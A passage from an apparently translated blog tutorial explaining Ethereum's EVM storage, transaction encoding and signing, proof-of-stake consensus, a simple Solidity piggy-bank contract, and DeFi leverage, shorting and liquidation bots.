&lt;li&gt;&lt;strong&gt;Instruction&lt;/strong&gt;: &lt;code&gt;SSTORE&lt;/code&gt; (write), &lt;code&gt;SLOAD&lt;/code&gt; (read)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost&lt;/strong&gt;: &lt;strong&gt;astronomical&lt;/strong&gt;. Writing a non-zero value costs 20000 Gas&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Characteristic&lt;/em&gt;: permanently stored, synchronized across the whole network&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 The Execution Flow of Concrete Instructions&lt;/h3&gt;
&lt;p&gt;Say the code is &lt;code&gt;a = b + c&lt;/code&gt;. In EVM bytecode it looks like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x05&lt;/code&gt; (push the value 5 onto the stack) -&amp;gt; Stack: &lt;code&gt;[5]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x03&lt;/code&gt; (push the value 3 onto the stack) -&amp;gt; Stack: &lt;code&gt;[3, 5]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ADD&lt;/code&gt; (the addition operation)
&lt;ul&gt;
&lt;li&gt;The CPU pops 3 and 5.&lt;/li&gt;
&lt;li&gt;It computes 3+5=8.&lt;/li&gt;
&lt;li&gt;It pushes 8 onto the stack.&lt;/li&gt;
&lt;li&gt;Stack: &lt;code&gt;[8]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUSH1 0x00&lt;/code&gt; (prepare to store into Slot 0) -&amp;gt; Stack: &lt;code&gt;[0, 8]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SSTORE&lt;/code&gt; (the store instruction)
&lt;ul&gt;
&lt;li&gt;The CPU pops 0 (Key) and 8 (Value).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Physical action&lt;/strong&gt;: writes &lt;code&gt;MPT_Update(Key=0, Value=8)&lt;/code&gt; into LevelDB.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Charge&lt;/strong&gt;: deducts 20000 Gas from the user&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. The Transaction Layer&lt;/h2&gt;
&lt;p&gt;When a transaction travels over the wire, it isn&apos;t JSON — it&apos;s a serialized binary stream&lt;/p&gt;
&lt;h3&gt;4.1 Recursive Length Prefix)&lt;/h3&gt;
&lt;p&gt;This is a minimalist serialization format invented by Ethereum.&lt;br /&gt;
If it&apos;s a single byte, store it directly. If it&apos;s a string of bytes, add a prefix in front indicating the length; this compresses space to the extreme&lt;/p&gt;
&lt;h3&gt;4.2 Transaction Structure&lt;/h3&gt;
&lt;p&gt;A &lt;code&gt;Raw Transaction&lt;/code&gt; contains the following fields (RLP-encoded in order):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;nonce&lt;/code&gt;: a counter (anti-replay)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gasPrice&lt;/code&gt;: how much you&apos;re willing to pay per unit of Gas&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gasLimit&lt;/code&gt;: the maximum Gas you&apos;re willing to spend&lt;/li&gt;
&lt;li&gt;&lt;code&gt;to&lt;/code&gt;: the destination address (if empty, it means &lt;strong&gt;creating a new contract&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;value&lt;/code&gt;: the transfer amount (Wei)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;data&lt;/code&gt;: &lt;strong&gt;this is the smart contract&apos;s function call data&lt;/strong&gt; (such as &lt;code&gt;0xa9059cbb...&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;v, r, s&lt;/code&gt;: &lt;strong&gt;the ECDSA digital signature&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;4.3 How Signing Works&lt;/h3&gt;
&lt;p&gt;When you click Send Transaction, what is your wallet doing?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hashing&lt;/strong&gt;: compute &lt;code&gt;h = Keccak256(RLP(nonce, gasPrice, ... data))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Signing&lt;/strong&gt;: using your private key $d_A$ and a random number $k$, compute $(r, s)$ from the elliptic curve formula&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packaging&lt;/strong&gt;: append &lt;code&gt;v, r, s&lt;/code&gt; to the end of the transaction&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Verification on the node side&lt;/strong&gt;:
When a node receives the transaction, it doesn&apos;t need to know your private key. Using &lt;code&gt;v, r, s&lt;/code&gt; and &lt;code&gt;h&lt;/code&gt;, it can compute a public key $Q$ via the inverse elliptic curve operation
If &lt;code&gt;Address(Q) == From_Address&lt;/code&gt;, the signature is valid and the transaction is legitimate&lt;/p&gt;
&lt;h2&gt;5. The Consensus Layer&lt;/h2&gt;
&lt;p&gt;How can tens of thousands of nodes reach agreement?&lt;/p&gt;
&lt;h3&gt;5.1 The Validator Workflow&lt;/h3&gt;
&lt;p&gt;These days it&apos;s no longer about mining, &lt;code&gt;hashing&lt;/code&gt;, but about proving presence: &lt;code&gt;Attestation&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Staking&lt;/strong&gt;: you must lock 32 ETH into the deposit contract. This money is your hostage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Randao&lt;/strong&gt;: every 12 seconds the system randomly selects a &lt;strong&gt;proposer &lt;code&gt;Proposer&lt;/code&gt;&lt;/strong&gt;, &lt;em&gt;also known as the miner&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proposing&lt;/strong&gt;: the chosen one packages transactions and broadcasts the new block&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attestation&lt;/strong&gt;: several thousand other validators form committees and vote by signature on this block, agreeing that it is valid&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;5.2 The Penalty Mechanism&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Double Signing&lt;/strong&gt;: if you sign two different blocks at the same height (attempting to fork the chain)
&lt;ul&gt;
&lt;li&gt;1 ETH or more is instantly slashed from your 32 ETH, and you&apos;re kicked off the network&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inactivity Leak&lt;/strong&gt;: if you go offline and fail to participate in voting
&lt;ul&gt;
&lt;li&gt;Your balance drains away like a leak, until you fix your server or the money runs out&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;6. Smart Contracts&lt;/h2&gt;
&lt;p&gt;Before we go on, let&apos;s fill in some terminology&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. Oracle&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The blockchain is closed off: it doesn&apos;t know the current dollar price of ETH, nor today&apos;s temperature&lt;/li&gt;
&lt;li&gt;That creates a need for a bridge service that writes real-world data (prices, weather) onto the blockchain&lt;/li&gt;
&lt;li&gt;In a leveraged position, it is the referee. If it says the price dropped, the contract will execute liquidations&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. Gas&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Why does a single click on-chain cost me tens of yuan?&lt;/li&gt;
&lt;li&gt;Because executing a smart contract consumes the computing power of every node on the network. Gas is the &lt;strong&gt;computing service fee&lt;/strong&gt; you pay the miners&lt;/li&gt;
&lt;li&gt;The more complex the code (more loops, more stored data), the more expensive the Gas&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3. DApp, Decentralized Application&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Definition&lt;/strong&gt;: Frontend (webpage/APP) + Smart Contract (backend)&lt;/li&gt;
&lt;li&gt;The pretty webpage you see (Uniswap&apos;s interface, say) is just a shell; it turns your clicks into &lt;strong&gt;transaction instructions&lt;/strong&gt; and sends them to the blockchain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;4. DAO, Decentralized Autonomous Organization&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Who sets the interest rates in the Aave lending protocol?&lt;/li&gt;
&lt;li&gt;The people holding the governance token &lt;code&gt;Token&lt;/code&gt; vote on it. It&apos;s like a company&apos;s shareholders&apos; meeting, except voting power is automatically tallied by code according to how many coins you hold&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.1 Definition&lt;/h3&gt;
&lt;p&gt;This thing is neither smart nor a contract&lt;/p&gt;
&lt;p&gt;In computer science, the precise definition of a smart contract is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;bytecode stored on a blockchain, with a unique address, immutable, and deterministically executed&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;It has no AI and doesn&apos;t think. It is just a rigid &lt;code&gt;If-This-Then-That&lt;/code&gt; script&lt;/li&gt;
&lt;li&gt;It has no legal force (in most countries, at present). It&apos;s more like the mechanical apparatus of a &lt;strong&gt;vending machine&lt;/strong&gt;; it doesn&apos;t really qualify as a contract&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.2 The Vending Machine Model&lt;/h3&gt;
&lt;p&gt;This is the most classic textbook model for understanding smart contracts (proposed by Nick Szabo):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Traditional transaction (Web2/counter)&lt;/strong&gt;: you give the clerk your money $\to$ the clerk confirms the amount $\to$ the clerk hands you a Coke $\to$ change.
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Risk&lt;/em&gt;: the clerk might take the money and run, might miscount, might refuse to sell to you&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart contract (Web3/vending machine)&lt;/strong&gt;: you put your money into the slot $\to$ the gears turn $\to$ now, &lt;strong&gt;if&lt;/strong&gt; the amount is sufficient, the Coke &lt;strong&gt;must&lt;/strong&gt; drop
&lt;ul&gt;
&lt;li&gt;No middleman. Once you insert the coin, the outcome is &lt;strong&gt;physically/mathematically determined&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;6.3 Code Walkthrough&lt;/h3&gt;
&lt;p&gt;We&apos;ll use the most common language, &lt;strong&gt;Solidity&lt;/strong&gt; (Ethereum&apos;s programming language, which looks like JavaScript/C++), to write the simplest possible piggy bank contract&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. 声明版本
pragma solidity ^0.8.0;

// 2. 定义合约（就像定义一个 Class 类）
contract PiggyBank {

    // --- 状态变量 (写在区块链硬盘上的数据) ---
    address public owner;  // 存钱罐的主人是谁？
    uint256 public balance; // 里面有多少钱？(uint256 是正整数)

    // --- 构造函数 (部署时只运行一次) ---
    constructor() {
        owner = msg.sender; // 谁把这个合约部署上链，谁就是主人
        balance = 0;
    }

    // --- 函数：存钱 ---
    // payable 关键字表示这个函数能接收真金白银(ETH)
    function deposit() public payable {
        balance += msg.value; // 余额增加
    }

    // --- 函数：取钱 ---
    function withdraw(uint256 amount) public {
        // A. 身份验证
        require(msg.sender == owner, &quot;你是所有者吗你就整，滚出去&quot;);

        // B. 余额检查
        require(amount &amp;lt;= balance, &quot;bro没钱了&quot;);

        // C. 转账操作
        balance -= amount;
        payable(msg.sender).transfer(amount);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deployment&lt;/strong&gt;:
When you send this code to the blockchain through your wallet, it gets compiled into &lt;strong&gt;bytecode&lt;/strong&gt; (a pile of &lt;code&gt;60806040...&lt;/code&gt; that only machines can read) and assigned a &lt;strong&gt;contract address&lt;/strong&gt; starting with &lt;code&gt;0x&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From that moment on, this code cannot be modified or deleted&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invocation&lt;/strong&gt;:
When you click the Deposit button on this contract, you&apos;re actually sending a transaction to this contract address&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The EVM wakes up&lt;/li&gt;
&lt;li&gt;It loads this contract&apos;s code&lt;/li&gt;
&lt;li&gt;It executes the &lt;code&gt;deposit&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;It modifies the state of the &lt;code&gt;balance&lt;/code&gt; variable&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Every node on the network updates this variable in sync&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Immutability&lt;/strong&gt;:
Note the &lt;code&gt;require(msg.sender == owner)&lt;/code&gt; inside the &lt;code&gt;withdraw&lt;/code&gt; function&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In a real bank, if someone holds a gun to the teller&apos;s head, the teller can transfer your money out&lt;/li&gt;
&lt;li&gt;In a smart contract, if the private key signature is wrong, &lt;strong&gt;not even Lester could move that money&lt;/strong&gt;. The code&apos;s logic is absolute iron law&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;7. DeFi, Decentralized Finance&lt;/h2&gt;
&lt;h3&gt;7.1 Leverage in Web3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Traditional finance (credit loans)&lt;/strong&gt;:
You want to borrow a million to trade stocks. The broker/bank looks at your salary records, property deeds and credit score. If they think you&apos;re reliable, they lend to you&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is based on human credit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web3 finance (collateralized loans)&lt;/strong&gt;:
The blockchain doesn&apos;t know who you are, and it can&apos;t sue you in court. So how does it dare lend you money?
The answer: &lt;strong&gt;overcollateralization&lt;/strong&gt;  &lt;em&gt;dun dun dun&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7.2 How Leverage Works&lt;/h2&gt;
&lt;p&gt;Say you hold 1 ETH (worth $3000), you&apos;re bullish on ETH going to $5000, and you want to add leverage to earn more&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step one: collateralize&lt;/strong&gt;
You deposit 1 ETH into Aave&apos;s smart contract&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your assets: $3000 (ETH)&lt;/li&gt;
&lt;li&gt;The contract gives you a health factor&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step two: borrow&lt;/strong&gt;
The contract lets you borrow stablecoins (USDC) equal to 80% of your collateral&apos;s value
You borrow 2400 USDC&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You now hold: 1 ETH (in the contract) + 2400 USDC (in your wallet)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; at this point there is still no leverage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step three: loop — this is where the real leverage comes in&lt;/strong&gt;
With the 2400 USDC you borrowed, you go to an exchange and &lt;strong&gt;buy&lt;/strong&gt; 0.8 ETH
Then you &lt;strong&gt;deposit&lt;/strong&gt; that 0.8 ETH into the contract &lt;strong&gt;again&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The contract now holds: 1.8 ETH&lt;/li&gt;
&lt;li&gt;The contract sees your collateral increased and lets you &lt;strong&gt;borrow again&lt;/strong&gt;, 80% of the value of that 0.8 ETH, and so on around the loop&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the end&lt;br /&gt;
Your principal was only $3000, but you control ETH worth $5000 or more&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ETH rises 10%&lt;/strong&gt;: you earn 10% of $5000, not 10% of $3000. That&apos;s leverage&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.3 Liquidation&lt;/h3&gt;
&lt;p&gt;Since it&apos;s a loan, the contract has to make sure the borrower&apos;s principal isn&apos;t lost.
There&apos;s a hardcoded line in the contract: the &lt;strong&gt;liquidation threshold&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Say the price of ETH &lt;strong&gt;crashes&lt;/strong&gt;
Your 1.8 ETH depreciates, and its value is about to fall below the total USDC you borrowed
The moment it crosses the mathematical red line:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;oracle&lt;/strong&gt; tells the contract: ETH has now fallen to $2000&lt;/li&gt;
&lt;li&gt;The contract triggers the &lt;code&gt;Liquidate&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;The contract &lt;strong&gt;automatically auctions off&lt;/strong&gt; your collateralized ETH to repay the USDC you borrowed&lt;/li&gt;
&lt;li&gt;If there&apos;s anything left over, it gets returned to you&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In this process there are &lt;strong&gt;no collection calls, no grace period, only code being executed&lt;/strong&gt;, and your principal can evaporate in an instant&lt;/p&gt;
&lt;h3&gt;7.4 Overcollateralization&lt;/h3&gt;
&lt;p&gt;Here we&apos;ll go deeper into traditional lending versus web3&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Traditional banks:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You put up nothing at all and borrow 100,000 yuan on the strength of a pay stub&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You run off:&lt;/strong&gt; the bank loses 100,000. The bank calls the police, the court seizes your assets, and you&apos;re blacklisted on the credit report&lt;/li&gt;
&lt;li&gt;What you need to know is that the bank is afraid of you running off&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Web3 protocols:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You want to borrow &lt;strong&gt;80 yuan&lt;/strong&gt; (USDC), so you must first deposit Bitcoin (BTC) worth &lt;strong&gt;100 yuan&lt;/strong&gt; into the smart contract&lt;/li&gt;
&lt;li&gt;You take the 80 yuan and run off&lt;/li&gt;
&lt;li&gt;It turns out the protocol is holding Bitcoin worth 100 yuan. It sells your Bitcoin, deducts the 80 it lent you, and even makes a profit&lt;/li&gt;
&lt;li&gt;The protocol couldn&apos;t care less whether you run off; they&apos;d even prefer it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the decentralized world there are no police and no courts, and &lt;strong&gt;code only trusts the assets it holds in its hands&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;7.4.0 Why Borrow on Web3 at All&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;At this point someone will probably curse: if I have that hundred yuan, why not just spend it? Why would I borrow?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you apply Web2 logic (going to a bank for a mortgage), Web3&apos;s overcollateralization looks completely insane&lt;/p&gt;
&lt;p&gt;But here&apos;s what I want to tell you&lt;/p&gt;
&lt;p&gt;You&apos;re treating Web3 lending as a &lt;strong&gt;consumer loan&lt;/strong&gt; or a &lt;strong&gt;relief loan&lt;/strong&gt;&lt;br /&gt;
DeFi lending today is fundamentally a &lt;strong&gt;financial leverage tool&lt;/strong&gt; and an &lt;strong&gt;asset management tool&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The people who actually borrow this kind of money fall into only the following four categories. Every one of them is very shrewd, and it&apos;s not because they&apos;re poor&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.1 The Gambler&lt;/h4&gt;
&lt;p&gt;This is the &lt;strong&gt;biggest&lt;/strong&gt; use of DeFi lending (over 80%). They don&apos;t borrow in order to spend; they borrow in order to &lt;strong&gt;buy more of the same asset&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&apos;re bullish on Bitcoin (BTC) going up a lot. You hold BTC worth 100,000 yuan&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Don&apos;t borrow:&lt;/strong&gt; BTC rises 10%, you earn &lt;strong&gt;10,000&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Borrow on Aave:&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Deposit the 100,000 in BTC as collateral&lt;/li&gt;
&lt;li&gt;Borrow 80,000 USDT (a stablecoin)&lt;/li&gt;
&lt;li&gt;Turn around and go to an exchange to &lt;strong&gt;buy into BTC&lt;/strong&gt; with that 80,000 USDT&lt;/li&gt;
&lt;li&gt;You now effectively control &lt;strong&gt;180,000&lt;/strong&gt; worth of BTC (even though 100,000 of it is collateralized)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; BTC rises 10%, you earn &lt;strong&gt;18,000&lt;/strong&gt;. Your profit is magnified 1.8 times&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This isn&apos;t borrowing to get by — it&apos;s &lt;strong&gt;financing a stock trade&lt;/strong&gt;. They&apos;re willing to collateralize because they firmly believe the collateral will appreciate and don&apos;t want to sell it, but they want more capital to amplify their returns&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.2 The Short Seller&lt;/h4&gt;
&lt;p&gt;If you think a coin is going to fall, how do you make money? In the spot market you can only buy low and sell high, but in a lending protocol you can &lt;strong&gt;short&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You think A is about to go to zero&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You collateralize 1000 USDC (real money)&lt;/li&gt;
&lt;li&gt;You borrow 100 A (worth 800 USDC)&lt;/li&gt;
&lt;li&gt;You &lt;strong&gt;immediately&lt;/strong&gt; sell those 100 A on an exchange for 800 USDC
&lt;ul&gt;
&lt;li&gt;You now hold: 1000 collateral + 800 cash = 1800 in assets&lt;/li&gt;
&lt;li&gt;You owe the protocol: 100 A&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Wait for A to crash 50%&lt;/li&gt;
&lt;li&gt;You spend 400 USDC to buy back 100 A&lt;/li&gt;
&lt;li&gt;You return those 100 coins to the protocol&lt;/li&gt;
&lt;li&gt;You sold for 800 at the start, and it only cost you 400 to buy back, so you &lt;strong&gt;net 400 USDC&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lending protocols are the infrastructure of the shorting mechanism. No lending, no shorting&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.3 HODLing&lt;/h4&gt;
&lt;p&gt;This is the rich man&apos;s playbook. In the US and many other countries, &lt;strong&gt;selling assets incurs a massive capital gains tax, but borrowing does not&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&apos;re an early Ethereum investor holding 1000 ETH (worth, say, $3 million). You need $100,000 to buy a Porsche&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Option A (sell coins):&lt;/strong&gt; you sell 33 ETH&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tax office: your cost basis was a few bucks back then, and you&apos;re selling at this price now, so pay 20%–40% tax&lt;/li&gt;
&lt;li&gt;Consequence: you lose a fortune in tax, and you lose those 33 ETH forever (if they go up later, it&apos;s none of your business)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Option B (collateralize):&lt;/strong&gt; you collateralize your ETH, borrow 100,000 USDT, withdraw it and buy the car&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tax office: this is debt, not income, &lt;strong&gt;no tax due&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Consequence: you drive off in the Porsche, and those 1000 ETH are still in your name. As long as ETH doesn&apos;t crash, you can pay off the interest slowly later; and if ETH moons, you&apos;re rolling in it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the famous rich-person strategy: &lt;strong&gt;Buy, Borrow, Die&lt;/strong&gt; (buy assets, borrow against them to spend, die with the debt). DeFi lets ordinary people use it too&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.4 The Farmer&lt;/h4&gt;
&lt;p&gt;Here, borrowing is about earning interest somewhere else&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The borrowing rate on Aave is 3%&lt;/li&gt;
&lt;li&gt;The mining yield on some Uniswap pool is 10%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The play:&lt;/strong&gt; you collateralize assets, borrow at a 3% cost, and earn a 10% return&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result:&lt;/strong&gt; a risk-free or low-risk 7% spread&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h4&gt;7.4.5 The Truth Is Brutal&lt;/h4&gt;
&lt;p&gt;Someone will probably ask&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If we really treat this as relief debt, what if I don&apos;t have enough value to collateralize?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The answer is brutally simple: DeFi today cannot save them&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CeFi/banks:&lt;/strong&gt; lend based on &lt;strong&gt;credit&lt;/strong&gt;
The bank lends to you because it has seen your salary records, employment verification and credit report. The bank believes you&apos;ll earn money in the future, so even if you have none right now, it dares to lend. This is called a &lt;strong&gt;credit loan&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DeFi:&lt;/strong&gt; lends based on &lt;strong&gt;assets&lt;/strong&gt;
The blockchain doesn&apos;t know who you are, doesn&apos;t know whether you work at that big company, and can&apos;t put you in prison when you default
So the blockchain &lt;strong&gt;trusts human nature not at all&lt;/strong&gt;. It only trusts the money in its hands&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Web3 is desperately trying to solve this. The hot directions right now are &lt;strong&gt;RWA (real-world assets on-chain)&lt;/strong&gt; and &lt;strong&gt;DID (decentralized identity)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What if, in the future, you could turn your property deed into an NFT and collateralize it? (RWA)&lt;/li&gt;
&lt;li&gt;What if, in the future, an on-chain Sesame Credit score could be formed on-chain? (Soulbound Token / DID)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Only when that day comes can DeFi truly serve those ordinary people who have no money but do have credit.
&lt;strong&gt;DeFi today is, in essence, a super-casino and capital circulation tool serving capital (asset holders) and traders, not a charity or an inclusive bank.&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;7.5 Who Does the Liquidating?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Say you collateralized 100 worth of BTC and borrowed 80. Suddenly BTC crashes to 81, and you&apos;re about to be insolvent (below 80). Who sells off your debt?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Nobody is sitting at a computer watching your account&lt;/strong&gt;
The liquidations are performed by a swarm of &lt;strong&gt;bots&lt;/strong&gt; we call &lt;strong&gt;liquidators&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The process goes like this:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trigger&lt;/strong&gt;:
A rule is hardcoded into the smart contract: if (collateral value &amp;lt; borrowed amount * 1.05), anyone is allowed to call the &lt;code&gt;liquidate()&lt;/code&gt; function&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Patrol&lt;/strong&gt;:
There are tens of thousands of scripts running 24 hours a day around the world, constantly listening to every lending account on-chain&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Discovery&lt;/strong&gt;:
The instant your BTC value crosses the red line, these thousands of bots, like sharks smelling blood, race to send transactions to the smart contract, trying to trigger the &lt;code&gt;liquidate&lt;/code&gt; function&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Execution&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The bot helps you repay part of the debt (say 40)&lt;/li&gt;
&lt;li&gt;In return, the contract sells your BTC to this bot at a &lt;strong&gt;discounted price&lt;/strong&gt; (say 5%–10% off)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Outcome&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The protocol recovers the debt&lt;/li&gt;
&lt;li&gt;The bot pockets the spread (it paid 40 to settle your debt and walked away with BTC worth 44)&lt;/li&gt;
&lt;li&gt;Your BTC was forcibly sold at a low price, and you took a big loss&lt;/li&gt;
